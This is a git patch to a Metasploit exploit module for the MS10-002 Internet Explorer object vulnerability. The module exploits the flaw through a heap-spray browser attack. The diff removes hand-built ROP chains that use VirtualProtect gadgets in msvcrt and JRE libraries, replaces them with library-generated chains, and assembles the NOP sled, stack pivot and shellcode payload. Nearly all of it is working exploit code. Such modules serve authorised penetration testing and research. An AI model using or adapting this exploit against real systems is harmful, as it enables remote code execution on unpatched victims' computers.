From bdb9b75e1e7bd8b2933bfd340bd03c9a91704f1a Mon Sep 17 00:00:00 2001
From: sinn3r <msfsinn3r@gmail.com>
Date: Sun, 7 Oct 2012 01:42:29 -0500
Subject: [PATCH] Use RopDb, and print what target the module has selected.

---
 .../windows/browser/ms10_002_ie_object.rb     | 70 ++++---------------
 1 file changed, 13 insertions(+), 57 deletions(-)

diff --git a/modules/exploits/windows/browser/ms10_002_ie_object.rb b/modules/exploits/windows/browser/ms10_002_ie_object.rb
index b319706025..9b967a2c10 100644
--- a/modules/exploits/windows/browser/ms10_002_ie_object.rb
+++ b/modules/exploits/windows/browser/ms10_002_ie_object.rb
@@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
 	Rank = NormalRanking
 
 	include Msf::Exploit::Remote::HttpServer::HTML
+	include Msf::Exploit::RopDb
 
 	def initialize(info={})
 		super(update_info(info,
@@ -51,7 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote
 				},
 			'DefaultOptions' =>
 				{
-					'InitialAutoRunScript' => 'migrate -f',
+					'InitialAutoRunScript' => 'migrate -f'
 				},
 			'Platform'       => 'win',
 			'Targets'        =>
@@ -89,6 +90,8 @@ class Metasploit3 < Msf::Exploit::Remote
 			return
 		end
 
+		print_status("Target selected: #{my_target.name}")
+
 		js_code = build_javascript(my_target)
 
 		html = %Q|
@@ -231,72 +234,25 @@ function Start() {
 		return spray
 	end
 
-	def nop
-		return make_nops(4).unpack("V").first
-	end
-
 	def junk(n=4)
 		return rand_text_alpha(n).unpack("V").first
 	end
 
 	# ROP chain + shellcode will be sprayed at 0x0c0c0c0c
 	def get_payload(t)
-		# chain generated by mona.py - See corelan.be
+		p  = make_nops(46)
+		p << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+0x6").encode_string # instr length: 2 bytes
+		p << [t.ret].pack("V") # Stack Pivot
+		p << payload.encoded
+
 		case t['Rop']
 		when :msvcrt
-			rop =
-			[
-				0x77c4e392,  # POP EAX # RETN
-				0x77c11120,  # <- *&VirtualProtect()
-				0x77c2e493,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
-				junk,
-				0x77c2dd6c,
-				0x77c4ec00,  # POP EBP # RETN
-				0x77c35459,  # ptr to 'push esp #  ret'
-				0x77c47705,  # POP EBX # RETN
-				0x00000800,  # <- change size to mark as executable if needed (-> ebx)
-				0x77c3ea01,  # POP ECX # RETN
-				0x77c5d000,  # W pointer (lpOldProtect) (-> ecx)
-				0x77c46100,  # POP EDI # RETN
-				0x77c46101,  # ROP NOP (-> edi)
-				0x77c4d680,  # POP EDX # RETN
-				0x00000040,  # newProtect (0x40) (-> edx)
-				0x77c4e392,  # POP EAX # RETN
-				nop,  # NOPS (-> eax)
-				0x77c12df9,  # PUSHAD # RETN
-			].pack("V*")
-
-		when :jre
-			rop =
-			[
-				0x7c37653d,  # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
-				0xfffffdff,  # Value to negate, will become 0x00000201 (dwSize)
-				0x7c347f98,  # RETN (ROP NOP)
-				0x7c3415a2,  # JMP [EAX]
-				0xffffffff,
-				0x7c376402,  # skip 4 bytes
-				0x7c351e05,  # NEG EAX # RETN
-				0x7c345255,  # INC EBX # FPATAN # RETN
-				0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
-				0x7c344f87,  # POP EDX # RETN
-				0xffffffc0,  # Value to negate, will become 0x00000040
-				0x7c351eb1,  # NEG EDX # RETN
-				0x7c34d201,  # POP ECX # RETN
-				0x7c38b001,  # &Writable location
-				0x7c347f97,  # POP EAX # RETN
-				0x7c37a151,  # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
-				0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN
-				0x7c345c30,  # ptr to 'push esp #  ret '
-			].pack("V*")
+			rop_payload = generate_rop_payload('msvcrt', p, {'target'=>'xp'})
+		else
+			rop_payload = generate_rop_payload('java', p)
 		end
 
-		code = rop
-		code << make_nops(38)
-		code << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+0x6").encode_string # instr length: 2 bytes
-		code << [t.ret].pack("V") # Stack Pivot
-		code << payload.encoded
-
-		return code
+		return rop_payload
 	end
 
 end